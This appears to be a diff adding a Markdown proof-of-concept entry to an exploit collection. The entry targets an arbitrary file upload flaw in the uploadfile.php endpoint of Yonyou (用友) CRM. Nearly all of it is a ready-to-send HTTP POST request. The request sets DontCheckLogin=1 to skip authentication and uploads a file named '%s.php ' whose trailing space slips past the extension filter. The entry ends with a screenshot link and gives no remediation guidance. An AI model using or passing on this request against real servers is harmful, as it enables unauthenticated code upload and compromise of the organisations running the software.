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+## 用友CRM系统uploadfile.php接口存在任意文件上传
+
+## poc
+```
+POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
+Host: 
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+Connection: close
+Content-Length: 358
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Content-Type: multipart/form-data; boundary=---------------------------269520967239406871642430066855
+
+-----------------------------269520967239406871642430066855
+Content-Disposition: form-data; name="file"; filename="%s.php "
+Content-Type: application/octet-stream
+
+test123
+-----------------------------269520967239406871642430066855
+Content-Disposition: form-data; name="upload"
+
+upload
+-----------------------------269520967239406871642430066855--
+```
+
+![image](https://github.com/wy876/POC/assets/139549762/195b7dfb-918c-448c-b774-8d141f14a29e)